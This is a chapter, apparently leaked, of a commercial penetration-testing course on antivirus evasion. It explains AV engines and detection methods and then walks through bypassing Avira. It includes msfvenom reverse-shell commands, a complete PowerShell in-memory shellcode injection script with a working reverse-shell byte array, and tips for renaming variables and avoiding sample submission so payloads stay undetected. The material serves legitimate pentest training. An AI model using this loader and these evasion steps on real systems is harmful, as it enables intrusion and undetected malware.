PEN-200

57.8%
This online ethical hacking course is self-paced. It introduces penetration testing tools and techniques via hands-on experience. PEN-200 trains not only the skills, but also the mindset required to be a successful penetration tester.
Training material
Challenge Labs
Exam

PEN-200: 14. Antivirus Evasion | Leaked by hide01.ir

14. Antivirus Evasion
14.1. Antivirus Software Key Components and Operations
14.1.1. Known vs Unknown Threats
14.1.2. AV Engines and Components
14.1.3. Detection Methods
14.2. Bypassing Antivirus Detections
14.2.1. On-Disk Evasion
14.2.2. In-Memory Evasion
14.3. AV Evasion in Practice
14.3.1. Testing for AV Evasion
14.3.2. Evading AV with Thread Injection
14.3.3. Automating the Process
14.4. Wrapping Up

14. Antivirus Evasion

In this Module, we will cover the following Learning Units:

  • Antivirus Software Key Components and Operations
  • Bypassing Antivirus Detections
  • Antivirus Evasion in Practice

In an attempt to compromise a target machine, attackers often disable or otherwise bypass antivirus software installed on these systems. As penetration testers, we must understand and be able to recreate these techniques in order to demonstrate this potential threat to our client.

In this Module, we will discuss the purpose of antivirus software, discover how it works, and outline how it is deployed in most companies. We will examine various methods used to detect malicious software and explore some of the available tools and techniques that will allow us to bypass AV software on target machines.

14.1. Antivirus Software Key Components and Operations

This Learning Unit covers the following Learning Objectives:

  • Recognize known vs unknown threats
  • Understand AV key components
  • Understand AV detection engines

Antivirus (AV),1 is a type of application designed to prevent, detect, and remove malicious software. It was originally designed to simply remove computer viruses. However, with the development of new types of malware, like bots and ransomware,2 antivirus software now typically includes additional protections such as IDS/IPS,3 firewall, website scanners, and more.

14.1.1. Known vs Unknown Threats

In its original design, an antivirus software bases its operation and decisions on signatures. The goal of a signature is to uniquely identify a specific piece of malware. Signatures can vary in terms of type and characteristics that can span from a very generic file hash summary to a more specific binary sequence match. As we’ll discover in the following section, an AV comprises different engines responsible for detecting and analyzing specific components of the running system.

A signature language is often defined for each AV engine and thus, a signature can represent different aspects of a piece of malware, depending on the AV engine. For example, two signatures can be developed to contrast the exact same type of malware: one to target the malware file on disk and another to detect its network communication. The semantics of the two signatures can vary drastically as they are intended for two different AV engines. In 2014, a signature language named YARA1 was open-sourced to allow researchers to query the VirusTotal2 platform or even integrate their own malware signatures into AV products. VirusTotal is a malware search engine that allows users to search known malware or submit new samples and scan them against a number of AV products.

As signatures are written based on known threats, AV products could initially only detect and react based on malware that has already been vetted and documented. However, modern AV solutions, including Windows Defender,3 are shipped with a Machine Learning (ML)4 engine that is queried whenever an unknown file is discovered on a system. These ML engines can detect unknown threats. Since ML engines operate on the cloud, they require an active connection to the internet, which is often not an option on internal enterprise servers. Moreover, the many engines that constitute an AV should not borrow too many computing resources from the rest of the system as it could impact the system's usability.

To overcome these AV limitations, Endpoint Detection and Response (EDR)5 solutions have evolved during recent years. EDR software is responsible for generating security-event telemetry and forwarding it to a Security Information and Event Management (SIEM)6 system, which collects data from every company host. These events are then rendered by the SIEM so that the security analyst team can gain a full overview of any past or ongoing attack affecting the organization.

Even though some EDR solutions include AV components, AVs and EDRs are not mutually exclusive as they complement each other with enhanced visibility and detection. Ultimately, their deployment should be evaluated based on an organization's internal network design and current security posture.

14.1.2. AV Engines and Components

At its core, a modern AV is fueled by signature updates fetched from the vendor's signature database that resides on the internet. Those signature definitions are stored in the local AV signature database, which in turn feeds the more specific engines.

A modern antivirus is typically designed around the following components:

  • File Engine
  • Memory Engine
  • Network Engine
  • Disassembler
  • Emulator/Sandbox
  • Browser Plugin
  • Machine Learning Engine

Each of the engines above work simultaneously with the signature database to rank specific events as either benign, malicious, or unknown.

The file engine is responsible for both scheduled and real-time file scans. When the engine performs a scheduled scan, it simply parses the entire file system and sends each file's metadata or data to the signature engine. On the contrary, real-time scans involve detecting and possibly reacting to any new file action, such as downloading new malware from a website. In order to detect such operations, the real-time scanners need to identify events at the kernel level via a specially crafted mini-filter driver.1 This is the reason why a modern AV needs to operate both in kernel and user land, in order to validate the entire operating system scope.

The memory engine inspects each process's memory space at runtime for well-known binary signatures or suspicious API calls that might result in memory injection attacks, as we'll find shortly.

As the name suggests, the network engine inspects the incoming and outgoing network traffic on the local network interface. Once a signature is matched, a network engine might attempt to block the malware from communicating with its Command and Control (C2)2 server.

To further hinder detection, malware often employs encryption and decryption through custom routines in order to conceal its true nature. AVs counterattack this strategy by disassembling the malware packers or ciphers and loading the malware into a sandbox, or emulator.

The disassembler engine is responsible for translating machine code into assembly language, reconstructing the original program code section, and identifying any encoding/decoding routine. A sandbox is a special isolated environment in the AV software where malware can be safely loaded and executed without causing potential havoc to the system. Once the malware is unpacked/decoded and running in the emulator, it can be thoroughly analyzed against any known signature.

As browsers are protected by the sandbox, modern AVs often employ browser plugins to get better visibility and detect malicious content that might be executed inside the browser.

Additionally, the machine learning component is becoming a vital part of current AVs as it enables detection of unknown threats by relying on cloud-enhanced computing resources and algorithms.

14.1.3. Detection Methods

As mentioned earlier, antivirus signature syntax and scope may differ based on the engine they have been built for, but they still serve the same purpose of uniquely identifying a specific threat or malware.

In this section, we are going to explore the following AV detection methodologies and explain how they work together.

  • Signature-based Detection
  • Heuristic-based Detection
  • Behavioral Detection
  • Machine Learning Detection

Signature-based antivirus detection is mostly considered a restricted list technology. In other words, the filesystem is scanned for known malware signatures and if any are detected, the offending files are quarantined.

A signature can be just as simple as the hash of the file itself or a set of multiple patterns, such as specific binary values and strings that should belong only to that specific malware.

Relying on just the file hash as the only detection mechanism is a weak strategy because changing a single bit from the file would result in a completely different hash.

As an example, we created a text file on our local Kali machine that contains the string "offsec". Let's dump its binary representation via the xxd1 tool by passing the -b argument before the file name.

kali@kali:~$ xxd -b malware.txt
00000000: 01101111 01100110 01100110 01110011 01100101 01100011  offsec
00000006: 00001010                                               .

Listing 1 - Inspecting the binary file content with xxd

We displayed the content of the file through the xxd utility. The output shows the binary offset on the leftmost column, the actual binary representation in the middle column, and the ASCII translation on the rightmost one. We have also highlighted the binary representation of the letter "c" in red. Its purpose will become clear shortly.

Now, assuming this is real malware, we want to calculate the hash of the file and we can do so through the sha256sum utility.

kali@kali:~$ sha256sum malware.txt
c361ec96c8f2ffd45e8a990c41cfba4e8a53a09e97c40598a0ba2383ff63510e  malware.txt

Listing 2 - Calculating the SHA256 hash of the file

Let's now replace the last letter of the "offsec" string with a capital C and dump its binary value via xxd once more.

kali@kali:~$ xxd -b malware.txt
00000000: 01101111 01100110 01100110 01110011 01100101 01000011  offseC
00000006: 00001010

Listing 3 - Inspecting the file content with xxd

In listing 3, we notice that the binary value of the last letter is changed only in its third bit from the left.

Since every hashing algorithm is supposed to produce a totally different hash even if only one bit has changed, let's calculate the SHA256 hash on the modified string.

kali@kali:~$ sha256sum malware.txt
15d0fa07f0db56f27bcc8a784c1f76a8bf1074b3ae697cf12acf73742a0cc37c  malware.txt

Listing 4 - Calculating the SHA256 hash on the modified file

Unsurprisingly, the hash value has fully changed, which proves the fragility of relying solely on hash file signature detections.

To address the pitfalls of signature-based detection, antivirus manufacturers introduced additional detection methods to improve the effectiveness of their products.

Heuristic-Based Detection2 is a detection method that relies on various rules and algorithms to determine whether or not an action is considered malicious. This is often achieved by stepping through the instruction set of a binary file or by attempting to disassemble the machine code and ultimately decompile and analyze the source code to obtain a more comprehensive map of the program. The idea is to search for various patterns and program calls (as opposed to simple byte sequences) that are considered malicious.

Alternatively, Behavior-Based Detection3 dynamically analyzes the behavior of a binary file. This is often achieved by executing the file in question in an emulated environment, such as a small virtual machine, or sandbox,and searching for behaviors or actions that are considered malicious.

Lastly, Machine-Learning Detection aims to up the game by introducing ML algorithms to detect unknown threats by collecting and analyzing additional metadata.4 For instance, Microsoft Windows Defender has two ML components: the client ML engine, which is responsible for creating ML models and heuristics, and the cloud ML engine, which is capable of analyzing the submitted sample against a metadata-based model comprised of all the submitted samples.5 Whenever the client ML engine is unable to determine whether a program is benign or not, it will query the cloud ML counterpart for a final response.

Since these techniques do not require malware signatures, they can be used to identify unknown malware, or variations of known malware, more effectively. Given that antivirus manufacturers use different implementations when it comes to heuristics, behavior, and machine learning detection, each antivirus product will differ in terms of what code is considered malicious.

It's worth noting that the majority of antivirus developers use a combination of these detection methods to achieve higher detection rates.

In order to demonstrate the effectiveness of various antivirus products, we will start by scanning a popular Metasploit payload. Using msfvenom, we will generate a standard Portable Executable (PE)6 file containing our payload. In this case we will use a simple TCP reverse shell.

The PE file format is used on Windows operating systems for executable and object files. The PE format represents a Windows data structure that details the information necessary for the Windows Loader7 to manage the wrapped executable code including required dynamic libraries, API import and export tables, etc.

Before generating any Metasploit payloads, it is a best practice to make sure we are running the latest version of Kali. Metasploit gets updated frequently and its AV signatures could change as well. AV vendors have to rebuild those signatures and push them as updates. This constant and intrinsic delay in pushing new up-to-date signatures could give attackers an extra edge during a penetration test, since a fresh Metasploit version might run undetected due to stale AV signatures.

Let's generate the test binary payload by running the msfvenom command followed by the -p argument specifying the payload. We'll then pass the reverse shell local host (LHOST) and local port (LPORT) arguments along with the EXE file format and redirect the output to a file named binary.exe.

kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f exe > binary.exe
...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

Listing 5 - Generating a malicious PE containing a meterpreter shell.

Next, we will run a virus scan on this executable. Rather than installing a large number of antivirus applications on our local machine, we can upload our file to VirusTotal,8 which will scan it to determine the detection rate of various AV products.

VirusTotal is convenient, but it generates a hash along with storing the original file for each unique submission. The submitted files along with the metadata are then shared with all participating AV vendors. As such, take care when submitting sensitive payloads as the hash is considered public from the time of first submission.

The results of this scan are listed below.

Figure 1: Virustotal results on the msfvenom payload.
Figure 1: Virustotal results on the msfvenom payload.

We'll notice in our results that many antivirus products determined our file is malicious based on the different detection mechanisms we have illustrated in this section.

In this Learning Unit, we have explored the different components that constitute a modern AV and covered the various strategies adopted to detect malicious software.

In the next Learning Unit, we are going to make use of this knowledge and learn the different mechanisms that enable attackers to evade antivirus detections.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Antivirus Evasion - AV Components and Operations - VM #1

Labs

  1. Which AV engine is responsible for translating machine code into assembly?
  1. Which AV detection method makes use of an engine that runs the executable file from inside an emulated sandbox?
  1. Start up VM #1 and connect via RDP to the Windows 11 machine with the provided credentials. On the user's desktop you will find a PE file named malware.exe. In order to get the flag, upload the malware sample to http://www.virustotal.com and once the analysis has completed check the metadata present in the BEHAVIOR tab.

14.2. Bypassing Antivirus Detections

This Learning Unit covers the following Learning Objectives:

  • Understand on-disk evasion techniques
  • Understand in-memory evasion techniques

Generally speaking, antivirus evasion falls into two broad categories: on-disk and in-memory. On-disk evasion focuses on modifying malicious files physically stored on disk in an attempt to evade AV file engine detections. However, given the maturity of modern AV file scanning engines, modern malware often attempts in-memory operation, which avoids the disk entirely and therefore, reduces the possibility of being detected. In the following sections, we will give a very general overview of some of the techniques used in both of these approaches. Please note that details about these techniques are outside the scope of this Module.

14.2.1. On-Disk Evasion

To begin our discussion of evasion, we will first inspect various techniques used to obfuscate files stored on a physical disk.

Modern on-disk malware obfuscation can take many forms. One of the earliest ways of avoiding detection involved the use of packers.1 Given the high cost of disk space and slow network speeds during the early days of the internet, packers were originally designed to reduce the size of an executable. Unlike modern "zip" compression techniques, packers generate an executable that is not only smaller, but is also functionally equivalent with a completely new binary structure. The file produced has a new hash signature and as a result, can effectively bypass older and more simplistic AV scanners. Even though some modern malware uses a variation of this technique, the use of UPX2 and other popular packers alone is not sufficient to evade modern AV scanners.

Obfuscators reorganize and mutate code in a way that makes it more difficult to reverse-engineer. This includes replacing instructions with semantically equivalent ones, inserting irrelevant instructions or dead code,3 splitting or reordering functions, and so on. Although primarily used by software developers to protect their intellectual property, this technique is also marginally effective against signature-based AV detection. Modern obfuscators also have runtime in-memory capabilities, which aims to hinder AV detection even further.

Crypter software cryptographically alters executable code, adding a decryption stub that restores the original code upon execution. This decryption happens in-memory, leaving only the encrypted code on-disk. Encryption has become foundational in modern malware as one of the most effective AV evasion techniques.

Highly effective antivirus evasion requires a combination of all of the previous techniques in addition to other advanced ones, including anti-reversing, anti-debugging, virtual machine emulation detection, and so on. In most cases, software protectors were designed for legitimate purposes, like anti-copy, but can also be used to bypass AV detection.

Most of these techniques may appear simple at a high-level but they can be quite complex. Because of this, there are currently few actively-maintained free tools that provide acceptable antivirus evasion. Among commercially available tools, The Enigma Protector4 in particular can be used to successfully bypass antivirus products.

14.2.2. In-Memory Evasion

In-Memory Injections,1 also known as PE Injection, is a popular technique used to bypass antivirus products on Windows machines. Rather than obfuscating a malicious binary, creating new sections, or changing existing permissions, this technique instead focuses on the manipulation of volatile memory. One of the main benefits of this technique is that it does not write any files to disk, which is a commonly focused area for most antivirus products.

There are several evasion techniques2 that do not write files to disk. While we will still provide a brief explanation for some of them, we will only cover in-memory injection using PowerShell in detail as the others rely on a low-level programming background in languages such as C/C++ and are outside of the scope of this Module.

The first technique we are going to cover is Remote Process Memory Injection, which attempts to inject the payload into another valid PE that is not malicious. The most common method of doing this is by leveraging a set of Windows APIs.3 First, we would use the OpenProcess4 function to obtain a valid HANDLE5 to a target process that we have permission to access. After obtaining the HANDLE, we would allocate memory in the context of that process by calling a Windows API such as VirtualAllocEx.6 Once the memory has been allocated in the remote process, we would copy the malicious payload to the newly allocated memory using WriteProcessMemory.7 After the payload has been successfully copied, it is usually executed in memory in a separate thread using the CreateRemoteThread8 API.

This sounds complex, but we will use a similar technique in a later example, allowing PowerShell to do the heavy lifting and a very similar but simplified attack targeting a local powershell.exe instance.

Unlike regular DLL injection, which involves loading a malicious DLL from disk using the LoadLibrary9 API, the Reflective DLL Injection technique attempts to load a DLL stored by the attacker in the process memory.10

The main challenge of implementing this technique is that LoadLibrary does not support loading a DLL from memory. Furthermore, the Windows operating system does not expose any APIs that can handle this either. Attackers who choose to use this technique must write their own version of the API that does not rely on a disk-based DLL.

The third technique we want to mention is Process Hollowing.11 When using process hollowing to bypass antivirus software, attackers first launch a non-malicious process in a suspended state. Once launched, the image of the process is removed from memory and replaced with a malicious executable image. Finally, the process is then resumed and malicious code is executed instead of the legitimate process.

Ultimately, Inline hooking, as the name suggests, involves modifying memory and introducing a hook (an instruction that redirects the code execution) into a function to make it point to our malicious code. Upon executing our malicious code, the flow will return back to the modified function and resume execution, appearing as if only the original code had executed.

Hooking is a technique often employed by rootkits,12 a more stealthy kind of malware. Rootkits aim to provide the malware author dedicated and persistent access to the target system through modification of system components in user space, kernel, or even at lower OS protection rings13 such as boot or hypervisor. Since rootkits need administrative privileges to implant its hooks, it is often installed from an elevated shell or by exploiting a privilege-escalation vulnerability.

Labs

  1. Which on-disk evasion technique makes use of code made by spurious instructions and that is not part of the main execution?
  1. When performing Remote Process Injection, which API is responsible for copying the shellcode into the target thread?
  1. Between packers and crypters, which one provides the highest level of stealth?

14.3. AV Evasion in Practice

This Learning Unit covers the following Learning Objectives:

  • Understand antivirus evasion testing best practices
  • Manually evade AV solutions
  • Leverage automated tools for AV evasion

Depending on the kind of AV we are facing during an engagement, we might want to resort to automated or manual AV evasion avenues. Either way, we first need to understand the pros and cons associated with these strategies. In this Learning Unit, we are going to first understand best practices related to AV evasion and how to perform a real AV bypass along with basic manual in-memory evasion through PowerShell. Finally, we are going to rely on third-party tools to automate on-disk and in-memory evasion techniques.

14.3.1. Testing for AV Evasion

The term SecOps defines the joint collaboration between the enterprise IT department and the Security Operations Center (SOC). The goal of the SecOps team is to provide continuous protection and detection against both well-known and novel threats.

As penetration tester, we want to develop a realistic understanding of the considerations facing SecOps teams when dealing with AV products. For this reason we should start considering a few extra implications regarding antivirus evasion development that could help us on our engagements.

As an initial example, VirusTotal can give us a good glimpse of how stealthy our malware could be, once scanned, the platform sends our sample to every antivirus vendor that has an active membership.

This means that shortly after we have submitted our sample, most of the AV vendors will be able run it inside their custom sandbox and machine learning engines to build specific detection signatures, thus rendering our offensive tooling unusable.

As an alternative to VirusTotal, we should resort to AntiScan.Me.1 This service scans our sample against 30 different AV engines and claims to not divulge any submitted sample to third-parties. The service offers up to four scans a day and additional ones at a small fee after the daily limit has been reached.

However, relying on tools such as AntiScan.Me is considered a last resort when we don't know the specifics of our target's AV vendor. If we do know those specifics on the other hand, we should build a dedicated VM that resembles the customer environment as closely as possible.

Regardless of the tested AV product, we should always make sure to disable sample submission so that we don't incur the same drawback as VirusTotal. For instance, Windows Defender's Automatic Sample Submission can be disabled by navigating to Windows Security > Virus & threat protection > Manage Settings and deselecting the relative option as illustrated in the image below.

Figure 2: Disabling Windows Defender Automated Sample Submission
Figure 2: Disabling Windows Defender Automated Sample Submission

Having such a simulated target scenario allows us to freely test AV evasion vectors without worrying about our sample being submitted for further analysis.

Since automatic sample submission allows Windows Defender to get our sample analyzed by its machine learning cloud engines, we should only enable it once we are confident our bypasses will be effective and only if our target has sample submission enabled.

Since both Windows Defender cloud protection and automatic sample submission require internet connectivity, we should first verify that this is reflected in our target environment: some company policies mandate limited internet access to some production servers and as a consequence, some advanced AV features are inhibited.

Another rule of thumb we should follow when developing AV bypasses is to always prefer custom code. As we have learned at the beginning of this Module, AV signatures are extrapolated from the malware sample and thus, the more novel and diversified our code is, the fewer chances we have to incur any existing detection.

1

(antiscan.me, 2022), https://antiscan.me ↩︎

14.3.2. Evading AV with Thread Injection

Now that we have a general understanding of the detection techniques used in antivirus software and the relative bypass methods, we can turn our focus to a practical example.

Finding a universal solution to bypass all antivirus products is difficult and time consuming, if not impossible. Considering time limitations during a typical penetration test, it is far more efficient to target the specific antivirus product deployed in the target network.

For the purposes of this Module, we will interact with Avira Free Security version 1.1.68.29553 on our Windows 11 client. Once we connect via RDP with the provided credentials, we'll notice that Avira is already installed and can be launched from the Desktop shortcut. Once started, we can navigate to the Security panel from the left menu and click on Protection Options:

Figure 3: Searching for Protections Options in the Avira Menu
Figure 3: Searching for Protections Options in the Avira Menu

Launching this menu section will display the currently running protections where we can verify if the Real-Time Protection feature is enabled and manually enable it if needed.

Figure 4: Avira Control Center.
Figure 4: Avira Control Center.

As a first step when testing AV products, we should verify that the antivirus is working as intended. We will use the Metasploit payload we generated earlier and scan it with Avira.

After transferring the malicious PE to our Windows client, we are almost immediately warned about the malicious content of the uploaded file. In this case, we are presented with an error message indicating that our file has been blocked.

Figure 5: Avira Free Antivirus Quarantine Message
Figure 5: Avira Free Antivirus Quarantine Message

Avira displays a popup notification informing us that the file was flagged as malicious and quarantined.

Antivirus products typically enforce threat quarantine by blocking any file system operation at the kernel level or even storing the malicious samples in encrypted storage accessible only by the AV software.

Depending on how restricted our target environment is, we might be able to bypass antivirus products with the help of PowerShell.1

In the following example, we will use a remote process memory injection technique, similar to what we learned in the previous Learning Unit. The main difference lies in the fact that we will target the currently executing process, which in our case will be the x86 PowerShell interpreter.

A very powerful feature of PowerShell is its ability to interact with the Windows API.2 This allows us to implement the in-memory injection process in a PowerShell script. One of the main benefits of executing a script rather than a PE is that it is difficult for antivirus manufacturers to determine if the script is malicious as it's run inside an interpreter and the script itself isn't executable code. Nevertheless, please keep in mind that some AV products handle malicious script detection with more success than others.3

Furthermore, even if the script is marked as malicious, it can easily be altered. Antivirus software will often review variable names, comments, and logic, all of which can be changed without the need to recompile anything.

To demonstrate an introductory AV bypass, we we are going to first analyze a well-known version of the memory injection PowerShell script and then test it against Avira.

A basic templated script that performs in-memory injection is shown in the listing below.

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = 
  Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

Listing 6 - In-memory payload injection script for PowerShell

The script starts by importing VirtualAlloc4 and CreateThread5 from kernel32.dll as well as memset from msvcrt.dll. These functions will allow us to allocate memory, create an execution thread, and write arbitrary data to the allocated memory, respectively. Once again, notice that we are allocating the memory and executing a new thread in the current process (powershell.exe), rather than a remote one.

[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

Listing 7 - Importing Windows APIs in PowerShell

The script main logic starts by allocating a block of memory using VirtualAlloc, which takes each byte of the payload stored in the $sc byte array and writes it to our newly-allocated memory block using memset.

[Byte[]]$sc = <place your shellcode here>;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

Listing 8 - Memory allocation and payload writing using Windows APIs in PowerShell

As a final step, our in-memory written payload is executed in a separate thread using the CreateThread API.

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

Listing 9 - Calling the payload using CreateThread

Our chosen payload is missing from our script, but can be generated using msfvenom. We are going to keep the payload identical to the one used in previous tests for consistency.

kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.50.1 LPORT=443 -f powershell -v sc
...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 699 bytes
Final size of powershell file: 3454 bytes
[Byte[]] $sc =  0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28
...

Listing 10 - Generating a PowerShell compatible payload using msfvenom

The resulting output can be copied to the final script after copying the content of the $sc variable into the script.

Our complete script resembles the following:

$code = '
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("msvcrt.dll")]
public static extern IntPtr memset(IntPtr dest, uint src, uint count);';

$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;

[Byte[]];
[Byte[]] $sc = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x5,0x68,0xc0,0xa8,0x32,0x1,0x68,0x2,0x0,0x1,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xc,0xff,0x4e,0x8,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x68,0x63,0x6d,0x64,0x0,0x89,0xe3,0x57,0x57,0x57,0x31,0xf6,0x6a,0x12,0x59,0x56,0xe2,0xfd,0x66,0xc7,0x44,0x24,0x3c,0x1,0x1,0x8d,0x44,0x24,0x10,0xc6,0x0,0x44,0x54,0x50,0x56,0x56,0x56,0x46,0x56,0x4e,0x56,0x56,0x53,0x56,0x68,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x89,0xe0,0x4e,0x56,0x46,0xff,0x30,0x68,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5;

$size = 0x1000;

if ($sc.Length -gt 0x1000) {$size = $sc.Length};

$x = $winFunc::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};

$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

Listing 11 - First attempt for in-memory injection script

Next, we are going to verify the detection rate of our PowerShell script. Our preferred choice would be Antiscan.Me, but sadly, it does not support ps1 format, so we have to resort to VirusTotal.

Figure 6: VirusTotal results for in-memory injection in PowerShell
Figure 6: VirusTotal results for in-memory injection in PowerShell

According to the results of the VirusTotal scan, 28 of the 59 AV products flagged our script as malicious, including Avira. This is not as promising as expected, so we need to somewhat circumvent the AV signature logic.

As mentioned, scripts are just interpreted text files. They are not easily fingerprinted like binary files, which have a more structured data format.

In order to catch malicious scripts, AV vendors often rely on static string signatures related to meaningful code portions, such as variables or function names.

To bypass this detection logic, let's give the variables of the previous script more generic names.

$var2 = Add-Type -memberDefinition $code -Name "iWin32" -namespace Win32Functions -passthru;

[Byte[]];   
[Byte[]] $var1 = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28
...

$size = 0x1000;

if ($var1.Length -gt 0x1000) {$size = $var1.Length};

$x = $var2::VirtualAlloc(0,$size,0x3000,0x40);

for ($i=0;$i -le ($var1.Length-1);$i++) {$var2::memset([IntPtr]($x.ToInt32()+$i), $var1[$i], 1)};

$var2::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };

Listing 12 - Renaming variables for In-memory Injection

We have updated our script by changing the Win32 hard-coded class name for the Add-Type cmdlet to iWin32. Similarly, we have renamed sc and winFunc to var1 and var2, respectively.

Once we save the PowerShell script as bypass.ps1 and transfer it over the target Windows 11 client, we can run a Quick Scan to verify that our attack vector is undetected. To run the scan, we'll click on the Security option on the left hand menu, select Virus Scans, and then click on Scan under the Quick Scan option.

To get sense of the detection rate, we could have uploaded the modified bypass to VirusTotal as well. However, as we learned earlier, this could jeopardize our penetration test as our sample could be analyzed and detected by the more powerful cloud-based machine learning engines.

Once Avira has scanned our script on our Windows 11 machine, it indicates our script is not malicious.

Figure 7: Avira scan on our malicious PowerShell script
Figure 7: Avira scan on our malicious PowerShell script

Since the msfvenom payload is for x86, we are going to launch the x86 version of PowerShell, named Windows PowerShell (x86), as depicted in the image below.

Figure 8: Launching x86 powershell version
Figure 8: Launching x86 powershell version

Let's run bypass.ps1 and analyze the output.

PS C:\Users\offsec\Desktop> .\bypass.ps1
.\bypass.ps1 : File C:\Users\offsec\Desktop\bypass.ps1 cannot be loaded because running scripts is disabled on this
system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\bypass.ps1
+ ~~~~~~~~~~~~
    + CategoryInfo          : SecurityError: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

Listing 13 - Attempting to run the script and encountering the Execution Policies error

Unfortunately, when we attempt to run our malicious script, we are presented with an error that references the Execution Policies of our system, which appear to prevent our script from running.

A quick review of the Microsoft documentation on PowerShell execution policies (linked in the error message), shows that these policies are set on a per-user rather than per-system basis.

Keep in mind that much like anything in Windows, the PowerShell Execution Policy settings can be dictated by one or more Active Directory GPOs.6 In those cases, it may be necessary to search for additional bypass vectors.

